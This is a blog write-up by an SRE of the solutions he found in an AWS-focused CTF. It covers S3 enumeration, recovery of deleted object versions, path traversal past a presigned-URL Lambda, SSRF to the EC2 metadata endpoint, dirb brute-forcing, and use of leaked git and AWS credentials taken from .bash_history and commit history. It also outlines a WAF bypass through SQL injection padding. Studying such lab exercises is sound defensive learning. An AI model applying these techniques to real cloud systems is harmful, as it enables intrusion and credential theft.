🦈

Security-JAWS【第30回】[Security-JAWS DAYS] Day2のCTFにSREが参加してみた

2023/09/04に公開

trocco® SREの髙塚(@tk3fftk)です。
Security-JAWS【第30回】[Security-JAWS DAYS] のCTFに参加してきたので、writeup的なものを書いてみます。
オフライン会場はprimeNumberのオフィスとはお隣!だったのですが、諸事情により自宅からオンライン参加をしていました。

どういうイベントだったの?

以下、引用ですがこんな感じです。

Security-JAWSは、AWS+Securityをコンセプトに立ち上げられた勉強会になります。
第30回は記念回として「Security-JAWS DAYS」と題し、オンライン+オフラインのハイブリッドでしかも2日間の開催です!
Day1はカンファレンスデイ、Day2はCTFデイとなります。

詳しくはイベントページの Security-JAWS【第30回】[Security-JAWS DAYS] ~Day2~ 2023年08月27日(日) - Security-JAWS | Doorkeeper をご覧ください🙏

CTFって?

CTFとはCapture The Flagの略で、情報セキュリティに関する知識や技術を駆使して隠されているFlag(答え)を見つけ出すゲームです。

ドラマ「トリリオンゲーム」第1話の「セキュリティチャンピオンシップ」みたいなやつ[1]、と言うと家族にも伝わりました。メディアのちからってすげー。

どんな問題があったの? (writeup)

Trivia, Warmup, Easy, Medium, Hardに分かれて問題が用意されていました。
Hardはもはや問題すら見れていなかったので、Easy, Medium中心に時間内に取り組めたものをいくつか紹介してみます。

Warmup

Run Function, Show IAM policy

  • どちらもIAM Userを起点にFLAGを探す問題でした。
  • アタッチされているPolicyを見よ、というヒントがあったので素直?にaws-cliで list-attached-user-policieslist-attached-group-policies を実行していましたが結果が空だったため、頭を捻っていました。
  • その後、運営の方からのヒントを頂き list-user-policieslist-group-policies の存在を知ったところで Managed Policy と Inline Policy の取得って別APIなんだ〜というのを学びました。
    • コンソールやTerraformで使ってると意識しない部分ですね。。

ref: iam — AWS CLI 2.13.13 Command Reference

Find data 2

問題文: FLAGはバケツにつっこんであるので探してね!

  • S3 bucketに入った大量の画像データから、正解の画像を探してFLAGを探す問題でした。
  • aws s3 ls にオプションをつけてファイルサイズ比較して異なるものを探す、みたいなのが想定された解き方でした。
  • 自分は「正解画像とダミーはサイズも揃えてる」と勘違いしてChatGPTに画像比較コードを聞いてもらって解きました😇

    同じサイズって聞いてる…
  • シェルで画像をrenameしつつ同じディレクトリに集めた後、Dockerでpythonイメージを起動して以下のように実行しました。
root@a9289c912b94:/tmp# pip install Pillow
root@a9289c912b94:/tmp# pip install imagehash
root@a9289c912b94:/tmp# cat <<EOF > main.py
> from PIL import Image
import os
import imagehash

# 画像フォルダのパスを指定
image_folder = "./"

# 画像ファイルのリストを取得
image_files = [file for file in os.listdir(image_folder) if file.endswith((".jpg", ".png"))]

# 画像をハッシュ化して比較するためのセットを作成
image_hashes = set()

# 重複しない画像ファイルを格納するリスト
unique_images = []

# 画像ファイルをハッシュ化して比較
for image_file in image_files:
    image_path = os.path.join(image_folder, image_file)
    img = Image.open(image_path)
    img_hash = imagehash.average_hash(img)

    # 画像のハッシュがセット内に存在しない場合、重複しない画像とみなす
    if img_hash not in image_hashes:
        image_hashes.add(img_hash)
        unique_images.append(image_path)

# 重複しない画像ファイルを出力
for image_path in unique_images:
    pr

root@a9289c912b94:/tmp# python main.py
Unique Image: ./flag500.jpg
Unique Image: ./flag444.jpg
  • 所感
    • 解説していただいているときにSlackでは似たような解き方をしてる方もちらほら。
    • ChatGPT、Trivia問題は全然解けなかったけどシュッとやりたいコード出してくれるのはべんり。

Easy

Recon the website

問題文: Webサイトを調査してFLAGを入手せよ!

  • Webページから脆弱性を探し出してFLAGを探す問題でした。

  • まずはJavaScriptを見ると、背景をいじってるだけ。

  • 通信を見るとS3で静的サイト配信されているっぽい。

  • もしかしてと思いおもむろに s3 ls

~/tmp » aws s3 ls website.scjdaysctf2023.net
                           PRE R6Ju2ZnVlc7xG1mJaaabkdcm8rd1bq/
                           PRE css/
                           PRE js/
2023-08-01 15:45:56        791 index.html
  • 怪しいのがあったので中を覗くとFLAGがありました。
~/tmp » aws s3 ls website.scjdaysctf2023.net/R6Ju2ZnVlc7xG1mJaaabkdcm8rd1bq/
2023-08-01 15:45:58         39 FLAG
  • 所感
    • あるあるっぽいやらかし?
    • AWS(S3)側が結構気をつけなはれや、とコンソール上でもドキュメント上でも言っているやつかなと思いました。

Find data 3

問題文: FLAGはバケツにつっこんであるので探してね!

  • これもS3に隠されたFLAGを探し出す問題でした。
  • 指定されたクレデンシャルを使ってとりあえず aws s3 ls
~/tmp » aws s3 ls himituno-bucket3/readme.txt
2023-08-06 23:11:05         89 readme.txt
  • readmeがあったのでとりあえず中を見る
~/tmp » aws s3 cp s3://himituno-bucket3/readme.txt .
~/tmp » cat readme
It was pointed out that placing sensitive data on S3 is not recommended, so I removed it.%
  • この時点で、あ〜消したけど履歴には残ってるやつかな?と思い、バケットのバージョニングを確認したら案の定でした。
~/tmp » aws s3api get-bucket-versioning --bucket himituno-bucket3

An error occurred (AccessDenied) when calling the GetBucketVersioning operation: Access Denied

~/tmp » aws s3api list-object-versions --bucket himituno-bucket3 | cat
{
    "Versions": [
        {
            "ETag": "\"c9f27b84582adb55f13c221fcb6a98c2\"",
            "Size": 34,
            "StorageClass": "STANDARD",
            "Key": "SECRET_DATA",
            "VersionId": "MO4Xz6sB8DONDjCid6ideiRgfdyywcSv",
            "IsLatest": false,
            "LastModified": "2023-08-06T14:09:57+00:00",
            "Owner": {
                "DisplayName": "metal.preacher.667+secjawsctf02",
                "ID": "fc0f5cd79b017dfe728d64cc204668f1627550263b144a54ae6c2074446d2f59"
            }
        },
        {
            "ETag": "\"5a60a9f41ca16805b78555e750446f4f\"",
            "Size": 89,
            "StorageClass": "STANDARD",
            "Key": "readme.txt",
            "VersionId": "C5Liv01TTxQDidoi3Uhs2NJuBkFCPCQI",
            "IsLatest": true,
            "LastModified": "2023-08-06T14:11:05+00:00",
            "Owner": {
                "DisplayName": "metal.preacher.667+secjawsctf02",
                "ID": "fc0f5cd79b017dfe728d64cc204668f1627550263b144a54ae6c2074446d2f59"
            }
        }
    ],
    "DeleteMarkers": [
        {
            "Owner": {
                "DisplayName": "metal.preacher.667+secjawsctf02",
                "ID": "fc0f5cd79b017dfe728d64cc204668f1627550263b144a54ae6c2074446d2f59"
            },
            "Key": "SECRET_DATA",
            "VersionId": "RNzJqEkR36thowt.ug5SxaGYT18yckYP",
            "IsLatest": true,
            "LastModified": "2023-08-06T14:10:21+00:00"
        }
    ],
    "RequestCharged": null
}

~/tmp » aws s3api get-object --bucket himituno-bucket3 --version-id=MO4Xz6sB8DONDjCid6ideiRgfdyywcSv --key="SECRET_DATA" flag

u nix Path?

問題文: あなたは、PathとObject Keyの区別がつきますか? private/flagに格納されている情
報を取得してください。

  • 問題文に記載されたページにアクセスすると、3つのファイルがダウンロードできるページになっていました。

  • 3つのファイルはそれぞれ README.md, DOCS.md, index.ts でした。

  • とりあえずファイルを落として読んでみる

    • mdファイルのほうは、どちらもS3のパスとUnixのパスの解釈の差をつけばいい、というヒントのよう
    • この時点では index.ts はなにをするものか分からず
  • 次に、フロントのコードを読みました

    • VSCodeに持ってきて、URLがCloudFrontのものだったので、そのIDで検索
      • API Gatewayを叩いているらしい事がわかる
        • 何やらURLを返しているらしい
        • index.tsを読むと、 handler 関数が定義されてるので、これがAPI Gatewayの奥にいるLambda?
          • S3の署名済みURLを返しているらしい
    • このあたりの理解に時間がかなりかかった記憶があります。
  • とりあえずChromeのコンソールから叩けるようにしてました。

  • フロント側でurlencode、lambda側でdecodeされるので、decodeされた結果どういうのを送りたいか考える

    • ここも割とトライアンドエラーしちゃってたので、ちゃんとコード読んで考えようと紙とペンを取り出した記憶があります。
      • / はencodeしないといけないかな、、とかごちゃごちゃやっていて、別pathに送るとCORSで弾かれて頭を抱えていまいた。
    • public/<file_path> になってるみたいだから、 private も同じところにいるだろう、ということで結局シンプルに ../private/flag を渡せばいいという結論になり、await Y0("../private/flag") を実行して帰ってきたURLにアクセスしてFLAGを取得しました。
  • 所感

    • S3のパスの解釈とUnix pathの解釈が異なること、S3のオブジェクトはかなり自由な文字を使えることを以前Flatt Securityさんに診断いただいた[2]ときに教えていただき対応をしたのが活きている感じがありました。
      • 今回はUnix path -> S3でしたが、S3のオブジェクト名を利用したサーバへのパストラバーサルもあり得ますね。

Get Provision

問題文: EC2 上で動く Web アプリケーションからインスタンスのプロビジョニングのデータを入手せ
よ!

  • 以下のようなWebページからFlagを探しだす問題でした
  • URLを入れて接続確認を押すとURL先にアクセスして内容を表示してくれるようです。
  • これは教科書で見たIMDSのやつだ!
  • ということで http://169.254.169.254 叩く。
  • 結果返ってきたので階層を下る。
  • プロビジョニング、というヒントがあったので user-data を見るとFLAGが出力されてました。

Medium

Expose Backup

  • S3バケットが与えられて、そこを起点にFLAGを探す問題でした。 (Mediumで唯一解けたやつ)

問題文を読みながらありそうなオブジェクトを想像してください。

  • というヒントがSlackに投稿されていたのですが、想像、ムズいとなりました。
  • 攻撃者の気持ちになって考えてみると、想像する前に辞書攻撃的なものをするのでは、と。
  • そういうツールは普通にありそうなので、軽くググってみるとdirbというのがサクッと入れれて目的に即していそう。[3]
    • 辞書を外から与えなくても、デフォルトで持ってる辞書を使ってくれるらしい。
  • おもむろに実行してみる
~/tmp » dirb https://my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf.s3.ap-northeast-1.amazonaws.com

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon Aug 28 23:04:50 2023
URL_BASE: https://my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf.s3.ap-northeast-1.amazonaws.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: https://my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf.s3.ap-northeast-1.amazonaws.com/ ----
+ https://my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf.s3.ap-northeast-1.amazonaws.com/.bash_history (CODE:200|SIZE:403)
(!) WARNING: All responses for this directory seem to be CODE = 403.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Mon Aug 28 23:04:55 2023
DOWNLOADED: 102 - FOUND: 1
  • .bash_history がヒットしたようなので、ダウンロードして中を見る。
ls
ssh-keygen
cat ~/.ssh/id_rsa.pub
ssh ec2-user@db
ssh ec2-user@app-server
ssh ec2-user@front-server
ping 10.0.4.99
vim ~/.aws/credentials
aws sts get-caller-identity
sudo yum install git
GIT_USER=codecommit-user01-at-055450064556
GIT_PASSWORD=mzU2yCSO4w3DwFp4S8UfraQajxF22JD674mvA2TT%2BbU%3D
git clone https://${GIT_USER}:${GIT_PASSWORD}@git-codecommit.ap-northeast-1.amazonaws.com/v1/repos/terraform
  • こうなるとこうですよね (exportはいらん気がしたけどコピペが楽だったので)
export GIT_USER=codecommit-user01-at-055450064556
export GIT_PASSWORD=mzU2yCSO4w3DwFp4S8UfraQajxF22JD674mvA2TT%2BbU%3D
git clone https://${GIT_USER}:${GIT_PASSWORD}@git-codecommit.ap-northeast-1.amazonaws.com/v1/repos/terraform
  • 名前の通りTerraformのリポジトリでした。
  • 考えられるのはStateになにか入ってるか、Terraformあるあるのクレデンシャルどうするか問題か?
  • その前にわざわざGitでcloneさせてるの怪しいのでcommit log見てみる。
commit a08da284e1eaf2cb10177fc2835d3b32eedb9276 (HEAD -> main, origin/main, origin/HEAD)
Author: 328 <328@328.moe>
Date:   Sun Aug 27 02:15:41 2023 +0900

    add s3.tf

commit 1942a4352ddd774dfb7335afe2a03066112b9671
Author: 328 <328@328.moe>
Date:   Sun Aug 27 02:15:33 2023 +0900

    add networkacl.tf

commit 47174d815c19ec1d2f9d7329fdf96f5585fbf03b
Author: 328 <328@328.moe>
Date:   Sun Aug 27 02:15:19 2023 +0900

    add security.tf

commit 3ff95ac55ddf41daa2671ffb9641651cebd260d9
Author: 328 <328@328.moe>
Date:   Sun Aug 27 02:15:03 2023 +0900

    add vpn.tf

commit b63c808c32a937ae74896aaf408ab9571d665f19
Author: 328 <328@328.moe>
Date:   Sun Aug 27 02:14:39 2023 +0900

    delete secrets

commit 60242fdad70b36664131bc325a0c1a7acd75ad41
Author: 328 <328@328.moe>
Date:   Sun Aug 27 02:14:15 2023 +0900

    first commit. add vpc.tf
  • commit messageが丁寧でえらい👏
git log -p b63c808c32a937ae74896aaf408ab9571d665f19

commit b63c808c32a937ae74896aaf408ab9571d665f19
Author: 328 <328@328.moe>
Date:   Sun Aug 27 02:14:39 2023 +0900

    delete secrets

diff --git a/variables.tf b/variables.tf
index 381649e..f26d863 100644
--- a/variables.tf
+++ b/variables.tf
@@ -1,4 +1,4 @@
 stage = prod
-access_key = AKIAQZ2IU22WDDI36BVT
-secret_key = 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
-region = ap-northeast-1
\ No newline at end of file
+access_key = 
+secret_key = 
+region = ap-northeast-1
  • これでStateファイル取得するか?と思ったけど、そもそも保存先の直接S3にアクセスできるな、となったのでs3 lsしたらFLAGありました。
    • Bucket名はTerraformのコード中にあったやつ。
~/tmp » AWS_ACCESS_KEY_ID=AKIAQZ2IU22WDDI36BVT AWS_SECRET_ACCESS_KEY=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 aws s3 ls ulxmhiw3jroec7sclynr06fkvhqssf
2023-08-27 01:23:29         34 flag.txt
  • 所感
    • 個人的に、一番解いてて楽しいやつでした。
      • 普段の開発とか運用でやっちゃう人いそうなうっかりの連続という感じ。
      • mysqlを-ppasswordで実行したときに出てくるwarningのやつ。

LISE

  • かわいいネコチャンのページから脆弱性をついてFLAGを探す問題でした。

    • 作問者の安里さんの猫だそうです。
    • 時間内に誰も解けてなかったので、猫飼い仲間として(?0は解きたかった問題でした。
  • このページにはフォームが含まれていました。明らかに怪しいよねと適当にsubmit

  • API Gatewayに投げ込んでることはわかる

  • 調べてるときに、API GatewayへのアクセスにIAMアクキーが埋め込まれてるケースがあることを知る

  • コードをアクキーとかAPI Gatewayの文字列で検索すると… シークレットも埋め込まれてるやんけ、となる

  • これを使って、API Gateway周りのリソースを取得するAPIを叩きまくってたけどハズレでそのまま時間切れ

  • 正解はSecretsManagerに隠されていたようでした。

  • 所感

Is the secret protected?

  • ログインフォームからFLAGを探す問題でした。
  • login.phpだからPHPの攻撃手法…?とか調べてて何も分からなかった。
  • 普通?にSQLインジェクションしてみんな突破してたけど、WAFで弾かれる想定だったらしい。
    • 普通が出てこなかったので悲しい + 自分が後で試すとちゃんと弾かれた。
    • 想定回答としては、WAFが確認する先頭8KBに適当に文字列を入れた後、passwordパラメーターにSQLインジェクションの文字列をセットする、とのこと。


解説中に困惑するみなさん

  • 所感
    • ELBがレスポンスを返す → WAFが弾いていると判断してよい。
    • 教訓: WAFを信じすぎてはいけない。

Get Access Key

問題文: EC2 上で動く少しセキュアになった Web アプリケーションから IAM のアクセスキーを入手して、データベースから機微な情報を入手せよ!

  • Get Provision と同じような見た目のWebページからFlagを探しだす問題でした。

  • フロント側の制限の突破はわかったけど、サーバーサイドのブロックは…?

  • インスタンスのRole tokenだと、Session Token必要なところまでやって、aws cliでなぜかsts get-caller-identityは実行できるのにdynamodb (UIにDynamoDBという) のコマンドは実行できず手詰まりのまま時間切れ。

    • (謎だけどコピペミス? 後で試し直したらいけました)
  • 所感

    • CLI引数でAWSのクレデンシャルを渡さず、profileを作って指定するほうがミスが少なそうかつ、取り回しが良さそう。
      • サクッとprofile作るやり方を調べておきたい。
    • PayloadsAllTheThings/Server Side Request Forgery/README.md at master · swisskyrepo/PayloadsAllTheThings に書かれている通り、別表現がいくらでもあるのでIP直ブロックはあまりいい手ではない。
      • IMDSのIP向いてるDNS作って読ませて、という手段もあるはず?

成績は?

約100人中6位でした🎉
専任のいわゆるセキュリティエンジニアが社内にいない中、AWSとセキュリティに向き合うことが多い一年だったので、その成果が出たような感じがしました…!
セキュリティを専門とされている方々に混じりがながらもこの成績だったので素直に嬉しかったです。


Fail率がやたら高いのはTrivia問題で間違えまくったからです、たぶん

参加してみてどうでした?

いわゆるCTFは初参加で、練習問題を数問解いたことがある程度だったのですが、解けるとたのしい!
AWS知識(セキュリティのベストプラクティスとか、やらかしそうなミスとか)・CTF成分・開発者の気持ちを考える()、という3要素がバランス良く含まれていた設問だったように思いました。
故に、どれも飛び抜けてはないけれど、自分のような全部ほどほどに分かる人間が回答できるものが多かったのかな?と思っています。堅実に下からEasyまで完答 + Mediumが1問解けるとこのスコアでした。

他の方のwriteupや公式(作問者の方)の解説資料など

We are hiring 🐈

trocco®を開発するprimeNumberでは、プロダクトや全社のセキュリティを一緒に考えてくれるセキュリティエンジニアを絶賛募集中です…!
海外展開に向けて面白い経験ができると思うのでぜひ🙏
まずはカジュアル面談でお会いしましょう!

脚注
  1. 「セキュリティコンテストは本当にあるの?」「具体的な技術的設定は?」ドラマ『トリリオンゲーム』第1話 技術監修の裏側を解説します! - #FlattSecurityMagazine ↩︎

  2. データ統合自動化サービス「trocco®」のホワイトボックス診断を実施。「顧客の機密データを扱うSaaSだからこそ高いレベルの検証を求めていた」 | Flatt Security ↩︎

  3. 他者のサイトに対して実行すると普通に攻撃とみなされるので取り扱い注意 ↩︎

株式会社primeNumber

Discussion